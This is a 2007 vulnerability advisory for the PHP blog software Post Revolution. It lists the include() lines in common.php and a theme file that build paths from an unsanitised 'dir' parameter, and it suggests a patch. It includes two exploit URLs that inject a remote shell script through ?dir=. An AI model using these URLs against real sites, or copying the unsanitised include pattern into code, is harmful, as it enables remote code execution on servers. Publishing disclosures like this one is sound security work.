postrev-rfi.txt

`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Post Revolution Remote File Inclusion  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2  
Download..: http://www.fabio.com.ar/postrev/  
Risk ..............: high   
Date .........: 25/3/2007   
Found by ..........: InyeXion   
Contact ...........: InyeXion[at]gmail.com   
Web .............: Www.InyeXion.com.ar   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Affected File:   
/common.php  
/themes/default/preview_post_completo.php  
  
Vulnerable Code:  
  
/common.php  
  
Line [10] include ($dir."themes/".$config_data["template"]."/encabezado.php");  
Line [16] include ($dir."themes/".$config_data["template"]."/cuerpo.php");  
Line [22] include ($dir."themes/".$config_data["template"]."/pie.php");  
Line [37] include ($dir."themes/".$config_data["template"]."/menu_principal.php");  
Line [49] include ($dir."themes/".$config_data["template"]."/error.php");  
Line [129] include ($dir."themes/".$config_data["template"]."/login_form.php");  
Line [135] include ($dir."themes/".$config_data["template"]."/logout.php");  
Line [174] include ($dir."language/".$config_data["lang"].".php");  
Line [272] include ($dir."language/".$config_data["lang"].".php");  
Line [282] include ($dir."themes/".$config_data["template"]."/seccion.php");  
Line [360] include ($dir."language/".$config_data["lang"].".php");  
Line [446] include ($dir."themes/".$config_data["template"]."/post.php");  
Line [460] include ($dir."language/".$config_data["lang"].".php");  
Line [543] include ($dir."themes/".$config_data["template"]."/archivo_noticias.php");  
Line [549] include ($dir."themes/".$config_data["template"]."/cuerpo_archivo.php");  
Line [570] include ($dir."language/".$config_data["lang"].".php");  
Line [628] include ($dir."themes/".$config_data["template"]."/post_completo.php");  
Line [641] include ($dir."language/".$config_data["lang"].".php");  
Line [661] include ($dir."language/".$config_data["lang"].".php");  
Line [680] include ($dir."themes/".$config_data["template"]."/posts_usuario.php");  
Line [692] include ($dir."language/".$config_data["lang"].".php");  
Line [715] include ($dir."themes/".$config_data["template"]."/comment_encabezado.php");  
Line [750] include ($dir."themes/".$config_data["template"]."/comment.php");  
Line [770] include ($dir."themes/".$config_data["template"]."/comment_form.php");  
Line [776] include ($dir."themes/".$config_data["template"]."/info.php");  
Line [782] include ($dir."themes/".$config_data["template"]."/info.php");  
Line [1054] include ($dir."language/".$config_data["lang"].".php");  
Line [1106] include ($dir."themes/".$config_data["template"]."/encuesta_head.php");  
Line [1124] include ($dir."themes/".$config_data["template"]."/encuesta_opc.php");  
Line [1128] include ($dir."themes/".$config_data["template"]."/encuesta_pie.php");  
Line [1159] include ($dir."themes/".$config_data["template"]."/encuesta_head_ver.php");  
Line [1180] include ($dir."themes/".$config_data["template"]."/encuesta_opc_ver.php");  
Line [1183] include ($dir."themes/".$config_data["template"]."/encuesta_pie_ver.php");  
Line [1231] include ($dir."themes/".$config_data["template"]."/encuestas_anteriores.php");  
Line [1242] include ($dir."themes/".$config_data["template"]."/tagmenu.php");  
Line [1297] include ($dir."themes/".$config_data["template"]."/tagpost.php");  
Line [1310] include ($dir."language/".$config_data["lang"].".php");  
Line [1482] include ($dir."language/".$config_data["lang"].".php");  
Line [1506] include ($dir."themes/".$config_data["template"]."/categoria_enlace.php");  
Line [1521] include ($dir."themes/".$config_data["template"]."/enlacefila.php");  
Line [1570] include ($dir."config.php");  
Line [1676] include ($dir."language/".$config_data["lang"].".php");  
Line [1678] include ($dir."themes/".$config_data["template"]."/buscar.php");  
Line [1685] include ($dir."language/".$config_data["lang"].".php");  
Line [1723] include ($dir."themes/".$config_data["template"]."/resultado.php");  
Line [1730] include ($dir."language/".$config_data["lang"].".php");  
Line [1766] include ($dir."themes/".$config_data["template"]."/busq-dato.php");  
Line [1772] include ($dir."themes/".$config_data["template"]."/busq-resultado.php");  
Line [1778] include ($dir."themes/".$config_data["template"]."/busq-resultado.php");  
Line [1790] include ($dir."language/".$config_data["lang"].".php");  
Line [1813] include ($dir."themes/".$config_data["template"]."/categoria_descarga.php");  
Line [1834] include ($dir."themes/".$config_data["template"]."/descargafila.php");  
Line [1875] include ($dir."language/".$config_data["lang"].".php");  
Line [1892] include ($dir."language/".$config_data["lang"].".php");  
Line [1908] include ($dir."language/".$config_data["lang"].".php");  
Line [1924] include ($dir."language/".$config_data["lang"].".php");  
Line [2061] include ($dir."include/anti-spam.php");  
  
  
/themes/default/preview_post_completo.php  
  
Line [3] include ($dir."themes/".$config_data["template"]."/post_completo.php");  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Exploit:  
  
http://[target]/common.php?dir=Shell  
http://[target]/themes/default/preview_post_completo.php?dir=Shell  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Fixed bug:  
  
/common.php and /themes/default/preview_post_completo.php insert  
  
if((isset($_REQUEST['dir']) || isset($_GET['dir']) || isset($_POST['dir'])) && !defined("dir")){  
die("Fixed bug by InyeXion.");  
}  
  
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`